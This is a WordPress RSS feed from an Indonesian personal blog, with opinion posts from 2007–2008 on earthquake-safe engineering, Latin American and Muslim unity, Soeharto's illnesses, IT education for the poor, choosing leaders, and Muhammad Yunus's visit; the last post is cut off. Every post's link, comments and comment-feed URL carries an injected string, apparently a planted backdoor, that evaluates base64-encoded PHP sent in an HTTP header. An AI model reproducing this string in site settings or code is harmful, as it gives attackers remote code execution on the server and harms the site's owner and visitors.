<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Uqi`s Life Note &#187; Opini</title>
	<atom:link href="http://ismailfaruqi.jepang.info/category/opini/id/feed/id/" rel="self" type="application/rss+xml" />
	<link>http://ismailfaruqi.jepang.info</link>
	<description></description>
	<pubDate>Mon, 09 Mar 2009 01:47:54 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
	<language>id</language>
			<item>
		<title>People Lives</title>
		<link>http://ismailfaruqi.jepang.info/2008/06/23/people-lives/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/</link>
		<comments>http://ismailfaruqi.jepang.info/2008/06/23/people-lives/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/#comments</comments>
		<pubDate>Mon, 23 Jun 2008 04:01:54 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Kuliah]]></category>

		<category><![CDATA[Opini]]></category>

		<guid isPermaLink="false">http://ismailfaruqi.wordpress.com/?p=113</guid>
		<description><![CDATA[Ketika gempa bumi di Shichuan terjadi, banyak pelajaran yang dapat diambil dari berbagai sudut pandang. Bagaimana seorang engineer mengambil pelajaran darinya?]]></description>
			<content:encoded><![CDATA[<p>Duh&#8230; basi lagi&#8230; suka ditaruh di draft kelamaan sih&#8230; <img src='http://ismailfaruqi.jepang.info/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> tapi ya sudahlah&#8230;</p>
<p>Beberapa hari ini, di lingkungan saya sedang heboh karena berita tentang gempa di Shichuan, Cina. Yang menarik, meski bersimpati kepada Cina, orang Jepang sekitar saya seperti sensei maupun teman selalu menambahkan, &#8220;Yah, mau bagaimana lagi&#8230; bangunannya tidak didesain untuk tahan gempa sih&#8230; jadinya runtuh rata begitu&#8230;&#8221;. Memang kalau dilihat, area tersebut runtuh seruntuh-runtuhnya -<em>rata</em>.</p>
<p>&#8220;Uki-san kalau lihat reruntuhan gempa di Kobe, bangunannya memang hancur, tapi tidak <em>rata dengan tanah </em>seperti ini.&#8221;, begitu kata Muraoka-sensei, dosen Writing dan Reading saya.</p>
<p>Orang Jepang mungkin pantas berbicara seperti itu. Dari seluruh gempa yang terjadi di dunia, 20 persennya terjadi di Jepang. Karenanya, mereka peduli dengan gempa (terutama daerah sekitar Tokyo ke atas). Karenanya, desain rumah yang tahan gempa adalah syarat mendirikan bangunan di Jepang. Dengan demikian, korban gempa dapat diminimalisir.</p>
<p>Bandingkan dengan gempa Shichuan. Ada cerita dimana anak-anak yang sedang belajar di sekolah tewas seketika. Ini kan, berarti sekolahnya rubuh seketika. Desain sekolahnya tidak memberikan waktu yang cukup bagi orang di dalamnnya untuk menyelamatkan diri. Ini menjadi pelajaran bagi seorang engineer, tentang betapa pentingnya mendesain sesuatu dengan memberikan perhatian utama bagi keselamatan manusia.</p>
<h3>Engineer: To deal with people lives</h3>
<p>Katanya para <em>leadership trainer</em>, engineer kerap diasosiasikan sebagai stereotipe orang yang terlalu berfokus pada detail, dan memprioritaskan kesempurnaan. Menurut saya itu wajar, karena kode etik engineer yang <em>pertama </em>adalah memprioritaskan hidup manusia. Untuk itu, mereka dituntut bekerja dengan sempurna, presisi, dan teliti.</p>
<p>Betapa banyak yang memerlukan kesempurnaan, ketepatan, dan ketelitian. Sebut saja jembatan, alat transportasi darat-laut-udara, telekomunikasi, termasuk bangunan. Hal-hal tersebut, tentu saja harus dibuat dengan mengutamakan keselamatan manusia terlebih dahulu. Oleh karena itu, sudah sepantasnya seorang engineer bangga atas ke-<em>engineer</em>-annya.</p>
<h3>Dana: Masalah Klasik</h3>
<p>Apa yang terjadi di Cina, mungkin akar permasalahannya klasik: dana. Logikanya sederhana: hal yang kualitasnya lebih baik tentu saja memerlukan dana yang lebih besar. Dalam kasus gempa ini, tentu saja bangunan yang tahan gempa jauh membutuhkan dana yang lebih besar dibandingkan bangunan biasa, yang mungkin cukup dari beton, kayu, bata, dan genteng saja. Pemerintah tidak memiliki uang untuk membuat hal tersebut. Hal ini cukup aneh, mengingat pemerintah bisa menganggarkan dana yang begitu besar bagi urusan lain. Di Indonesia, contohnya gampang: anggaran pemilu dan pilkada yang menghebohkan.</p>
<h3>Tantangan untuk Researcher</h3>
<p>Untuk memecahkan masalah dana,ï¿½ tantangan bagi para engineer tentunya jelas: bagaimana membuat barang yang lebih berkualitas dengan harga yang sama, atau membuat barang berkualitas sama dengan harga yang lebih rendah.</p>
<p>Tapi mungkin yang paling penting bagi engineer Indonesia adalah membuat barang yang berkualitas tinggi dengan harga yang rendah (<em>well maybe it&#8217;s a mythical technology, but&#8230; we have to strife to invent it</em>, <em>don&#8217;t us?</em>). Harga yang rendah mungkin merupakan faktor utama supaya sebuah teknologi bisa diterapkan di Indonesia. Dengan demikian, jumlah kematian, baik karena kecelakaan maupun bencana alam, dapat diminimalisir. Demikianlah seorang engineer menghargai nyawa manusia.</p>
]]></content:encoded>
			<wfw:commentRss>http://ismailfaruqi.jepang.info/2008/06/23/people-lives/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/feed/id/</wfw:commentRss>
		</item>
		<item>
		<title>Dulu Uni Eropa, Sekarang Amerika Latin. Kapan Islam?</title>
		<link>http://ismailfaruqi.jepang.info/2008/01/06/dulu-uni-eropa-sekarang-amerika-latin-kapan-islam/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/</link>
		<comments>http://ismailfaruqi.jepang.info/2008/01/06/dulu-uni-eropa-sekarang-amerika-latin-kapan-islam/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/#comments</comments>
		<pubDate>Sun, 06 Jan 2008 11:38:50 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Opini]]></category>

		<category><![CDATA[bank selatan venezuela argentina ekuador bancosur persa]]></category>

		<guid isPermaLink="false">http://ismailfaruqi.wordpress.com/2008/01/06/dulu-uni-eropa-sekarang-amerika-latin-kapan-islam/</guid>
		<description><![CDATA[Beberapa waktu yang lalu, sebuah berita yang mencengangkan tertulis di Kompas. Negara-negara di Kawasan Amerika Latin bersepakat untuk membentuk Bank Selatan (Bancosur). Beberapa negara-negara yang tergabung di dalamnya yakni Venezuela, Argentina dan Ekuador. Selain membentuk Bank Selatan, mereka juga bersepakat keluar dari IMF dan Bank Dunia.
Mengapa negara-negara tersebut membentuk bank ini dan keluar dari keanggotaan [...]]]></description>
			<content:encoded><![CDATA[<p>Beberapa waktu yang lalu, sebuah berita yang mencengangkan tertulis di Kompas. Negara-negara di Kawasan Amerika Latin bersepakat untuk membentuk Bank Selatan (Bancosur). Beberapa negara-negara yang tergabung di dalamnya yakni Venezuela, Argentina dan Ekuador. Selain membentuk Bank Selatan, mereka juga bersepakat keluar dari IMF dan Bank Dunia.</p>
<p>Mengapa negara-negara tersebut membentuk bank ini dan keluar dari keanggotaan IMF serta Bank Dunia? Kebijakan IMF-lah yang menjadi pemicunya. Kedua badan tersebut selalu memiliki syarat yang merugikan untuk membantu perekonomian negara miskin. Yang pertama, BUMN biasanya harus diprivatisasi. Yang kedua, biasanya subsidi untuk orang miskin harus dihapuskan.</p>
<p>Di Indonesia, kedua hal tersebut sudah terjadi. Masalah privatisasi, kita lihat kasus Indosat. Menurut Marwan Batubara dalam bukunya (saya lupa), privatisasi Indosat adalah keinginan IMF. Hasilnya? Keuntungan Indosat bertriliun-triliun,  yang tadinya masuk ke kas pemerintah, sekarang masuk ke kas asing.<span id="more-102"></span></p>
<p>Masalah penghapusan subsidi, kita telah lihat juga di negeri ini. Mulai dari BBM. Kemudian listrik. Akibatnya, harga barang-barang naik. Menurut mantan Komisaris Bank Permata Icsanudin Noorsy, kenaikan harga BBM dan listrik sebetulnya bukan karena harga minyak dunia. Tapi juga pesanan IMF.</p>
<p>Karena dua syarat merugikan itulah, negara-negara selatan sepakat membentuk Bank Selatan. Saya tidak ingin membahas dua syarat tersebut dari sudut pandang ekonomi, karena saya memang belum menguasainya. Akan tetapi, yang saya benar-benar apresiasi dari negara-negara tersebut adalah semangat kebersamaannya. Menentang IMF dan Bank Dunia (baca: Amerika), luar biasa. Saya yakin, di antara negara-negara Selatan tersebut bukannya tidak ada konflik. Tapi, mereka berhasil mengedepankan kepentingan bersama di atas konflik tersebut, dan bersatu.</p>
<p>Hal yang sama juga telah ditunjukkan oleh berdirinya Uni Eropa. Mereka memiliki mata uang bersama, angkatan bersenjata bersama, bahkan&#8230; parlemen bersama! Sungguh banyak manfaat apabila kita bisa bersatu.</p>
<p>Namun melihat kondisi negara-negara Islam, miris hati ini. Di sini, perbedaan begitu dipertonjolkan. Bahkan tidak jarang menumpahkan darah. Konflik di masyarakat Islam dunia tidak hanya terjadi antar-negara, tapi juga dalam-negara! Konflik Syiah-Sunni di Irak, konflik antaretnis di Afghanistan&#8230; itu hanya sekelumit dari konflik dalam negara. Konflik antar-negara mungkin sudah tidak terhitung lagi.</p>
<p>Di Islam, ada yang namanya konsep &#8220;ukhuwah Islamiyah&#8221;. Bahwasannya,  setiap orang Islam itu bersaudara. Satu tubuh. Bahkan, ikatan persaudaraan karena Islam lebih kuat daripada ikatan hubungan darah. Tapi mengapa?</p>
<p>Mengapa yang berhasil menerapkan konsep itu adalah masyarakat Uni Eropa? Masyarakat Sosialis di Amerika Selatan?</p>
<p>Mengapa bukan kita?</p>
]]></content:encoded>
			<wfw:commentRss>http://ismailfaruqi.jepang.info/2008/01/06/dulu-uni-eropa-sekarang-amerika-latin-kapan-islam/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/feed/id/</wfw:commentRss>
		</item>
		<item>
		<title>Penyakit Sang Koruptor</title>
		<link>http://ismailfaruqi.jepang.info/2008/01/06/penyakit-sang-koruptor/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/</link>
		<comments>http://ismailfaruqi.jepang.info/2008/01/06/penyakit-sang-koruptor/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/#comments</comments>
		<pubDate>Sun, 06 Jan 2008 02:43:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Islam]]></category>

		<category><![CDATA[Opini]]></category>

		<category><![CDATA[penyakit soeharto korupsi]]></category>

		<guid isPermaLink="false">http://ismailfaruqi.wordpress.com/2008/01/06/penyakit-sang-koruptor/</guid>
		<description><![CDATA[Pagi ini, headline semua koran kompak satu tema: Soeharto. &#8220;Soeharto Sudah Dapat Tersenyum&#8221;, begitu tertulis di Kompas.
Heran saya. Kok bisa, orang tersenyum bisa masuk koran. Setelah saya cek, Oo&#8230; ternyata karena ia mengidap komplikasi yang&#8230; saya sendiri ragu masih bisa tersenyum atau tidak kalau mengidapnya.
Berikut ini adalah list kronologis  penyakit Soeharto:

Stroke ringan (1999-07)
Ambeien (1999-08)
Gangguan [...]]]></description>
			<content:encoded><![CDATA[<p>Pagi ini, headline semua koran kompak satu tema: Soeharto. &#8220;Soeharto Sudah Dapat Tersenyum&#8221;, begitu tertulis di Kompas.</p>
<p>Heran saya. Kok bisa, orang tersenyum bisa masuk koran. Setelah saya cek, Oo&#8230; ternyata karena ia mengidap komplikasi yang&#8230; saya sendiri ragu masih bisa tersenyum atau tidak kalau mengidapnya.</p>
<p>Berikut ini adalah list kronologis  penyakit Soeharto:</p>
<ol>
<li>Stroke ringan (1999-07)</li>
<li>Ambeien (1999-08)</li>
<li>Gangguan Otak (2000-03 s/d 2000-09)</li>
<li>Anfal dan Sesak Nafas (2000-11)</li>
<li>Usus Buntu (2001-02)</li>
<li>Gangguan Jantung (2001-06)</li>
<li>Radang Paru-paru (2001-12)</li>
<li>Pendarahan Usus Besar (2004-04)</li>
<li>Pendarahan Saluran Cerna (2006-05)</li>
<li>Penyumbatan Pembuluh Darah Otak (2006-05)</li>
<li>Tubuh Membengkak (2008-01)</li>
</ol>
<p>Kalau melihat ini, menurut konsep Islam sepertinya Allah masih sayang pada Soeharto. Dia ingin menghapuskan dosa Soeharto dengan mengujinya oleh berbagai macam penyakit. Pertanyaannya, sebesar apakah dosanya sampai didera penyakit begitu rupa???</p>
<p>Ya Allah, sebagian dari kami (IF2003) sudah mulai bekerja. Berikan kami kekuatan agar dapat terhindar dari dosa mencuri yang bukan hak kami. Dan ampuni kami atas dosa kami yang terdahulu&#8230;</p>
<p>P.S: Di negeri ini, tidak heran apabila orang yang akan diperiksa tiba-tiba sakit.</p>
]]></content:encoded>
			<wfw:commentRss>http://ismailfaruqi.jepang.info/2008/01/06/penyakit-sang-koruptor/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/feed/id/</wfw:commentRss>
		</item>
		<item>
		<title>Bakti Informatika ITB: IT untuk Si Miskin</title>
		<link>http://ismailfaruqi.jepang.info/2007/12/21/bakti-informatika-itb-untuk-bangsa-it-untuk-si-miskin/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/</link>
		<comments>http://ismailfaruqi.jepang.info/2007/12/21/bakti-informatika-itb-untuk-bangsa-it-untuk-si-miskin/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/#comments</comments>
		<pubDate>Fri, 21 Dec 2007 09:48:28 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Kuliah]]></category>

		<category><![CDATA[Opini]]></category>

		<category><![CDATA[Teknologi Informasi]]></category>

		<category><![CDATA[bakti informatika ITB IT miskin kontribusi pendidikan]]></category>

		<guid isPermaLink="false">http://ismailfaruqi.wordpress.com/2007/12/21/bakti-informatika-itb-untuk-bangsa-it-untuk-si-miskin/</guid>
		<description><![CDATA[&#8220;Anak-anak, yang paling penting dalam programming adalah jam terbang.&#8221;
Dr. Ir. Inggriani Liem, MM., Dosen senior IF ITB
&#8220;Aku tuh mulai programming dari kelas 3 SMP.&#8221;
Ali Akbar, mahasiswa IF ITB 2003 termuda dan lulus tercepat predikat cum laude
Bayangkan ada seorang anak kelas 3 SMP mengenal bahasa Basic. Setahun kemudian ia menyentuh C dan C++. Kelas 2 SMA [...]]]></description>
			<content:encoded><![CDATA[<p align="right">&#8220;Anak-anak, yang paling penting dalam programming adalah jam terbang.&#8221;<br />
<i>Dr. Ir. Inggriani Liem, MM., Dosen senior IF ITB</i></p>
<p align="right">&#8220;Aku tuh mulai programming dari kelas 3 SMP.&#8221;<br />
<i>Ali Akbar, mahasiswa IF ITB 2003 termuda dan lulus tercepat predikat cum laude</i></p>
<p>Bayangkan ada seorang anak kelas 3 SMP mengenal bahasa Basic. Setahun kemudian ia menyentuh C dan C++. Kelas 2 SMA ia mulai belajar ilmu software engineering. Terakhir, pada kelas 3 SMA setelah lumayan makan asam garam <i>programming</i>, ia memfokuskan skillnya pada <i>image processing</i>. Menurut anda apakah anak itu bisa mandiri selepas SMA? Apakah anda ingin memiliki anak seperti itu? Dan&#8230;</p>
<p>Apakah itu mungkin?</p>
<p>Mungkin saja apabila anak itu adalah seorang anak superjenius, berasal dari strata menengah ke atas, dan salah satu keluarganya adalah IT expert. Kira-kira itu yang terbayang dalam pikiran anda. Lalu bagaimana dengan anak-anak <i>biasa</i>, ekonominya <i>biasa</i>, dan tidak punya akses IT? Rasanya mustahil. Apalagi anak-anak putus sekolah seperti pengamen jalanan cilik.</p>
<p>Memang benar, anak-anak golongan terakhir mustahil melakukan itu. Namun pernahkah anda berpikir, mengapa mereka mustahil melakukan hal itu? Apa karena mereka tidak cerdas? Rasanya tidak. Contohnya, IF telah menunjukkan bahwa mereka mampu menempa anak SMA yang awalnya buta IT, sehingga 4 tahun kemudian memiliki <i>skill</i> yang mampu membuat mereka mampu mencari nafkah. Pernyataan Ali Akbar dan Bu Inge pun diamini oleh sebagian besar kalangan IF sendiri.</p>
<p>Apa yang menyebabkan orang miskin tetap miskin, orang bodoh tetap bodoh, dan negara kita yang  tertinggal tetap tertinggal, adalah karena <i>tidak memiliki kesempatan</i>. Seandainya mereka memiliki kesempatan yang sama seperti Ali Akbar, beberapa di antara mereka mungkin bisa melewati anda di umur yang sama. Seandainya mereka memiliki kesempatan, mereka mungkin dapat meninggalkan kemiskinan mereka. India mampu bangkit dari negeri kumuh dan miskin menjadi pengekspor ekspatriat terbesar di dunia karena IT.</p>
<p>Lalu siapa yang akan memberi kesempatan pada orang miskin untuk belajar IT?</p>
<p>Keterlaluan rasanya jika civitas Informatika ITB masih melirik ke kanan-kiri mencari siapa yang melakukannya. IF ITB-lah yang memiliki tanggung jawab terbesar! Mereka dibimbing dosen-dosen terbaik. Akses informasi tanpa batas. Fasilitas berlimpah. Dan itu ditanggung uang negara. Maka dari itu, tanggung jawab untuk memberikan IT kepada si miskin tidak terletak pada bahu jurusan Teknik Informatika universitas XX yang bisa lulus tanpa kuliah&#8230;!</p>
<p>Dedikasi IF-ITB pada pendidikan IT massal untuk rakyat miskin dapat mengubah wajah kota Bandung. Dan dedikasi universitas lain pada hal ini akan mencerahkan masa depan anak-anak Indonesia.</p>
<p><b>Manfaat Mendidik IT Massal</b></p>
<p>Manfaat dari mendidik IT secara massal adalah:</p>
<ol>
<li>Membantu mahasiswa IF ITB mencapai kebahagiaan hidup. Telah banyak tokoh sukses terkenal yang mewasiatkan bahwa kebahagiaan hidup tidak terletak pada keberlimpahan harta, jabatan yang tinggi, namun sederhana: Dicintai sesama, didoakan sesama, karena bermanfaat bagi sesama.</li>
<li>Mencetak tunas-tunas IT expert yang siap diakselerasi di jenjang yang lebih tinggi. Bahkan, akselerasi tunas-tunas ini sangat mungkin meninggalkan lulusan SPMB ketika bersama memasuki IF!</li>
<li>Langkah strategis mengurangi kemiskinan dan pengangguran di kota Bandung.</li>
<li>Sarana melatih kemampuan presentasi bagi mahasiswa IF ITB. Karena motivasi belajar anak-anak tersebut akan berbanding lurus dengan kesungguhan mahasiswa untuk mengajar mereka.</li>
</ol>
<p>Tentu saja masih ada keuntungan lain seperti aspek ekonomis. Namun tidak perlu saya bahas agar mahasiswa IF ITB tidak mengotori kemurnian niat untuk berkontribusi bagi masyarakat ini.</p>
<p><b>Rancangan Implementasi</b></p>
<p>Orang-orang yang bernuansa negatif akan berkata, &#8220;Ini mungkin, tapi sulit&#8221;. Sementara orang bernuansa positif akan berkata, &#8220;Ini sulit, tapi mungkin&#8221;. Usul ini mungkin direalisasikan. Ada berbagai cara agar niat ini dapat diimplementasikan secara efektif. Salah satu usul yang saya usulkan, program ini dimasukkan ke dalam kurikulum 2008 sebagai SKS opsional. Dalam SKS ini, setiap anak IF berkewajiban untuk mengajarkan ilmunya satu kali dalam seminggu. Sementara penilaian SKS ini diukur dari sejauh mana anak yang diajar mampu memecahkan persoalan-persoalan IT. Tentu saja, aspek yang ditonjolkan dari usul di atas bukan SKS-nya, tapi aspek social responsibility-nya. Bahkan kalau perlu SKS ini dijadikan <i>trademark</i> IF ITB, untuk membuktikan bahwa alumninya selain memiliki skill juga memiliki kepekaan hati, kemampuan presentasi yang baik, serta kemauan yang keras.</p>
<p>Tentu saja ada pertanyaan-pertanyaan lain yang harus dijawab ketika program ini didesain, seperti:</p>
<ol>
<li>Siapa yang akan diajar?</li>
<li>Apa yang akan diajarkan?</li>
<li>Bagaimana agar pendidikannya kontinu?</li>
<li>Bagaimana menilai kinerja pengajar?</li>
<li>Bagaimana menilai kinerja yang diajar?</li>
<li>Bagaimana menjaga motivasi pengajar?</li>
<li>Dimana tempatnya?</li>
<li>Siapa penyedia fasilitasnya?</li>
<li>Dll.</li>
</ol>
<p>Terakhir, tujuan usul ini <i>bukanlah</i> citra IF sendiri. Biarlah masyarakat sendiri yang menilai sejauh mana keseriusan dan kepedulian IF ITB terhadap masyarakat Bandung. Usul ini berangkat dari kesadaran, bahwa di tangan civitas IF-ITB-lah nasib bangsa ini berada. Kita lah yang memiliki kekuatan untuk mencetak Ali Akbar-Ali Akbar baru. Dan yang pasti, ketika seluruh civitas dan alumni IF ITB memiliki ketulusan dan ketahanan berjuang untuk melakukan hal ini, Tuhan akan membukakan jalan seluas-luasnya.</p>
<p>Ditunggu masukannya, sahabat dan rekan IF semua&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://ismailfaruqi.jepang.info/2007/12/21/bakti-informatika-itb-untuk-bangsa-it-untuk-si-miskin/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/feed/id/</wfw:commentRss>
		</item>
		<item>
		<title>Memilih Pemimpin = Memilih Pasangan</title>
		<link>http://ismailfaruqi.jepang.info/2007/08/29/memilih-pemimpin-memilih-pasangan/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/</link>
		<comments>http://ismailfaruqi.jepang.info/2007/08/29/memilih-pemimpin-memilih-pasangan/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/#comments</comments>
		<pubDate>Wed, 29 Aug 2007 16:41:47 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Islam]]></category>

		<category><![CDATA[Opini]]></category>

		<guid isPermaLink="false">http://ismailfaruqi.wordpress.com/2007/08/29/memilih-pemimpin-memilih-pasangan/</guid>
		<description><![CDATA[Rasulullah berpesan agar kita memilih pasangan berdasarkan empat kriteria:

Penampilan
Keturunan
Harta
Agama

Ehm, siapa yang tidak mau berjodoh dengan orang yang memiliki keempat hal tersebut bersamaan. Beruntunglah ia yang bisa bersanding dengan orang seperti itu. Sayang, karena orang seperti itu sangatlah *langka*, maka dalam menentukan pasangan Rasul berpesan agar kita memprioritaskan pemahaman agama calon pasangan kita. Jadi, agar hidup [...]]]></description>
			<content:encoded><![CDATA[<p>Rasulullah berpesan agar kita memilih pasangan berdasarkan empat kriteria:</p>
<ol>
<li>Penampilan</li>
<li>Keturunan</li>
<li>Harta</li>
<li>Agama</li>
</ol>
<p>Ehm, siapa yang tidak mau berjodoh dengan orang yang memiliki keempat hal tersebut bersamaan. Beruntunglah ia yang bisa bersanding dengan orang seperti itu. Sayang, karena orang seperti itu sangatlah *langka*, maka dalam menentukan pasangan Rasul berpesan agar kita memprioritaskan pemahaman agama calon pasangan kita. Jadi, agar hidup kita bahagia dunia akhirat, pilihlah yang agamanya baik. Hal lain bisa menyusul, kira-kira begitu.</p>
<p>Yang menarik, aturan ternyata yang sama bisa diterapkan dalam memilih pemimpin lho! Ya kan? Siapa yang tidak mau pemimpin yang makmur, agamanya baik, dari keturunan yang baik, dan berpenampilan baik? Tapi karena pemimpin seperti itu langkanya minta ampun, maka kita harus memprioritaskan pilihan kita pada pemimpin yang agamanya baik. Sayang, meski banyak orang yang menyadari 4 kriteria di atas dalam memilih pasangan hidupnya, ternyata masih sedikit di Indonesia ini yang menerapkan kriteria yang sama dalam memilih pemimpin. Masih banyak orang / partai yang memilih pemimpin karena uangnya, &#8220;Loe berani setor berapa ke gue?&#8221; Kalau begitu, mana bisa berubah keadaan kita. Budaya preman akan melahirkan preman baru. Atau karena bapaknya dan ibunya pemimpin besar, tanpa melihat kualitas dirinya. Padahal kalau cuma numpang nama, anak kecil juga bisa.</p>
<p>Hal ini sangat penting, karena <em>scope </em>seorang pemimpin jauh lebih besar daripada <em>scope </em>seorang pasangan hidup. Pasangan hidup yang kita pilih mungkin hanya akan menentukan hidup kita <em>sendiri</em>. Tapi pemimpin yang kita pilih, akan menentukan hidup, kemakmuran, atau kemelaratan orang lain pula! Dan pemimpin yang memiliki probabilitas terbesar dalam membawa kebahagian rakyatnya adalah pemimpin yang memiliki pemahaman agama yang baik!</p>
<p>So, ayo kita prioritaskan pemahaman agama dalam memilih setiap pemimpin kita, baik pimpinan di kampus, kantor, gubernur, sampai&#8230;. presiden. Dan jangan lupa, berikan juga pendidikan ini pada masyarakat, agar mereka menjadi lebih cerdas dalam memilih pemimpin.</p>
<p>Memilih pemimpin = Memilih pasangan</p>
<p>Sederhana kan? <img src='http://ismailfaruqi.jepang.info/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /></p>
]]></content:encoded>
			<wfw:commentRss>http://ismailfaruqi.jepang.info/2007/08/29/memilih-pemimpin-memilih-pasangan/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/feed/id/</wfw:commentRss>
		</item>
		<item>
		<title>Kunjungan Muhammad Yunus: Kado HUT RI?</title>
		<link>http://ismailfaruqi.jepang.info/2007/08/15/kunjungan-muhammad-yunus-kado-hut-ri/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/</link>
		<comments>http://ismailfaruqi.jepang.info/2007/08/15/kunjungan-muhammad-yunus-kado-hut-ri/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/#comments</comments>
		<pubDate>Wed, 15 Aug 2007 16:02:54 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Opini]]></category>

		<guid isPermaLink="false">http://ismailfaruqi.wordpress.com/2007/08/15/kunjungan-muhammad-yunus-kado-hut-ri/</guid>
		<description><![CDATA[Kedatangan tokoh sebesar Muhammad Yunus ke Indonesia baru-baru ini merupakan kesempatan yang sangat langka bagi bangsa ini. M. Yunus tiba pada bulan Agustus, bulan yang merupakan ulang tahun bangsa Indonesia. Penerima Nobel Perdamaian 2006 yang terkenal dengan Grameen Bank-nya ini datang untuk berkunjung ke sejumlah tempat di Indonesia, termasuk Istana Negara, Unpad, dan UGM. Ia [...]]]></description>
			<content:encoded><![CDATA[<p><a title="Muhammad Yunus" href="http://ismailfaruqi.jepang.info/wp-content/uploads/2007/08/portrait_hr2.jpg"><img src="http://ismailfaruqi.files.wordpress.com/2007/08/portrait_hr2.thumbnail.jpg" border="5" alt="Muhammad Yunus" hspace="20" align="left" /></a>Kedatangan tokoh sebesar Muhammad Yunus ke Indonesia baru-baru ini merupakan kesempatan yang sangat langka bagi bangsa ini. M. Yunus tiba pada bulan Agustus, bulan yang merupakan ulang tahun bangsa Indonesia. Penerima Nobel Perdamaian 2006 yang terkenal dengan Grameen Bank-nya ini datang untuk berkunjung ke sejumlah tempat di Indonesia, termasuk Istana Negara, Unpad, dan UGM. Ia berkeliling Indonesia untuk berbagi visi dan pengalamannya dalam menghapuskan kemiskinan di negara-negara berkembang kepada berbagai pihak. Karena kedatangannya berdekatan dengan dirgahayu Republik Indonesia, seharusnya hal ini seharusnya dapat menjadi momentum bagi segenap elemen bangsa Indonesia untuk bersama-sama memulai babak bary dalam perang menghapus kemiskinan. Diharapkan, dengan mengimplementasikan prinsip-prinisip Muhammad Yunus yang telah teruji, bangsa Indonesia akhirnya dapat memenangkan perang melawan kemiskinan. Jika hal itu terjadi, tidak berlebihan bila dikatakan kunjungan Muhammad Yunus adalah kado yang sangat berharga bagi dirgahayu RI. Tulisan ini bertujuan untuk memberikan saran dalam mengimplementasikan ide-ide Muhammad Yunus dalam konteks Indonesia.</p>
<h3><span id="more-93"></span>Mengentaskan Kemiskinan: Tidak Kunjung Usai</h3>
<p>Betapa panjang jalan yang telah ditempuh para pemimpin bangsa ini dalam usaha mereka mengentaskan kemiskinan. Pembangunan di segala bidang dilakukan selama 62 tahun, mulai dari infrastruktur hingga SDM. Akan tetapi, bukannya menyusut, dari tahun ke tahun angka kemiskinan justru makin meroket. Apalagi, seiring dengan meningkatnya jumlah penduduk dan inflasi, Menteri Keuangan Sri Mulyani meramalkan bahwa pertambahan jumlah orang miskin akan menjadi semakin pesat.</p>
<p>Berbeda dengan ekonom bangsa ini, Muhammad Yunus dalam pidatonya di depan presiden RI menyebutkan penyebab mandegnya pengentasan kemiskinan hanya dengan satu kalimat: <em>Kesempatan yang tidak merata</em>. Ia menggambarkan bagaimana rakyat miskin di negeri ini tidak diberi kesempatan yang sama dengan orang yang mampu. Mereka tidak bisa meminjam dan memberikan jaminan atas pinjaman mereka. Sementara itu, orang kaya konsumtif dimanjakan dnegan berbagai macam kredit. Hal ini dapat dilihat dari kebijakan bank-bank yang tidak akan memberikan kredit kepada orang miskin. Efeknya, orang miskin tidak bisa memberikan pembuktian kemampuan mereka. Hal inilah yang menyebabkan pengentasan kemiskinan tidak kunjung usai.</p>
<p>Ada hal yang menarik antara kedua alasan kemiskinan yang dikemukakan kedua tokoh di atas. Di satu sisi, pernyataan Sri Mulyani seolah-olah menjadikan faktor eksternal -faktor yang tidak bisa kita ubah- sebagai penyebab kemiskinan. Di lain pihak, Muhammad Yunus menjadikan faktor internal -sesuatu yang dapat kita ubah- sebagai penyebab utamanya. Mungkin perbedaan semangat dan paradigma inilah yang membedakan pula prestasi kedua orang tersebut.</p>
<h3>Kolaborasi Antar Elemen Negara</h3>
<p>Dalam perjalanannya di Indonesia, Muhammad Yunus telah bertemu dengan Presiden RI, menteri Pertanian, direksi bank Mandiri, para rektor, serta para mahasiswa. Adalah sebuah kesempatan yang langka bagi seseorang untuk bisa menuangkan visinya pada seluruh elemen strategis bangsa Indonesia, dari hirarki paling atas ke hirarki paling bawah. Bukan tidak mungkin di antara orang-orang tersebut terbentuk visi yang sama.</p>
